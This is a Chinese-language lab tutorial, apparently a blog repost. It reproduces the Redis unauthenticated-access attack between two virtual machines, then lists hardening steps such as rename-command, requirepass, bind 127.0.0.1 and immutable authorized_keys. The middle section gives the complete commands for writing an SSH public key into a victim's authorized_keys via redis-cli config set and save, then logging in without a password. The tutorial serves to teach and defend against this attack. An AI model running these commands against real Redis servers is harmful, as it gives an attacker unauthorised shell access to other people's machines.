Redis未授权访问漏洞的利用及防护 (2)

这个问题困扰了我很久,后面惊奇的发现,是因为redis.conf和当前版本的redis不匹配造成的问题,当前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,后面才知道是因为我Ubuntu里面已经装过Redis造成的,解决方法如下:

卸载老版本redis-server:

sudo apt-get remove redis-server

由于之前已经下载了redis-3.2.11的版本,所以我们直接make就好了,照着上面的步骤重新来一遍就OK了。

5b878fefa9136

我们可以看到,版本对应上去了,都是3.2.11,也能够完成reids.conf文件中的配置启动redis服务。

二、安装ssh服务

由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动,需使用systemctl start sshd命令启动ssh服务。

那么我们该怎么确定有没有安装ssh服务呢?你尝试一下service sshd start命令:

fauked to start sshd.service: Unit sshd.service not found

如果出现上述结果时,说明你的虚拟机没有安装ssh服务,此时你需要运行以下命令安装ssh服务:

sudo apt-get install openssh-server

再次运行以下命令确认ssh服务是否开启:

ps -e | ssh 最后显示:3228 ? 00:00:00 sshd说明ssh服务器已启用

我们让这两台虚拟主机配置相同的Redis环境,一台作为受害者的靶机,一台作为攻击者的主机。

至此,我们已经成功搭建完成了漏洞利用的环境,此时的redis服务是可以以root用户身份远程免密码登录的。

三、复现漏洞利用场景 1. 我们先通过ifconfig测试一下两台主机的IP地址

5b8793a90235c

我们可以看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,所以我们不需要修改任何东西,但如果IP地址相同,我们修改其中一台虚拟机的IP:

ifconfig 网卡名称(比如ens33) 我们要修改成的IP地址(比如192.168.152.135) up

我们必须保证两台主机能够相互ping通

5b87ad2906b04

2. 我们假设,Ubuntu为虚拟机A,Kali Linux为虚拟机B。虚拟机A(192.168.152.133)为受害者的主机,虚拟机B(192.168.152.131)为攻击者的主机 3. 在A中开启redis服务:redis-server /etc/redis.conf 4. 新开一个终端,在主机A中执行mkdir /root/.ssh命令,创建ssh公钥存放目录(A是作为ssh服务器使用的) 5. 在B中生成ssh公钥和私钥,密码设置为空

5b87982e1b75d

6. 进入.ssh目录:cd .ssh/,将生成的公钥保存到kitty.txt root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt 7. 将kitty.txt写入redis(使用redis-cli -h IP命令连接主机A,将文件写入) root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crack OK

8. 远程登录主机A的redis服务:redis-cli -h 192.168.0.146并使用config get dir命令得到redis备份的路径 root@kali:~/.ssh# redis-cli -h 192.168.152.133 192.168.152.133:6379> config get dir 1) "dir" 2) "/home/python/.ssh"

9. 更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh,这里我没有登录root用户,我登录的用户名是python,所以Ubuntu的默认路径是/home/python/.ssh,所以不需要更改) 10. 设置上传公钥的备份文件名字为authorized_keys 192.168.152.133:6379> config set dbfilename authorized_keys OK 11. 检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此,我们成功地写入ssh公钥到靶机上 192.168.152.133:6379> config get dbfilename 1) "dbfilename" 2) "authorized_keys" 192.168.152.133:6379> save OK 192.168.152.133:6379> exit 12. 开启主机A和主机B的ssh服务(Fedor默认ssh服务关闭),命令为systemctl start sshd.service

13. 在主机B使用ssh免密登录主机A root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133

5b87b6ef00a6a

很明显,我们已经登录成功了!至此,我们成功地利用redis未授权访问漏洞实现了ssh免密登录到目标服务器上。

Redis未授权访问漏洞的防护 禁止远程使用一些高危命令

我们可以通过修改redis.conf文件来禁用远程修改DB文件地址

rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" 低权限运行Redis服务

为Redis服务创建单独的user和home目录,并且配置禁止登陆

groupadd -r redis && useradd -r -g redis redis 为Redis添加密码验证

我们可以通过修改redis.conf文件来为Redis添加密码验证

requirepass mypassword 禁止外网访问 Redis

我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用

bind 127.0.0.1 保证authorized_keys文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限

chmod 400 ~/.ssh/authorized_keys

为保证authorized_keys的权限不会被改掉,您还需要设置该文件的immutable位权限

chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh目录和authorized_keys文件。要避免这种情况,需要设置~./ssh的immutable位权限

chattr +i ~/.ssh

如果需要添加新的公钥,需要移除authorized_keys的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上immutable位权限

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyzwdg.html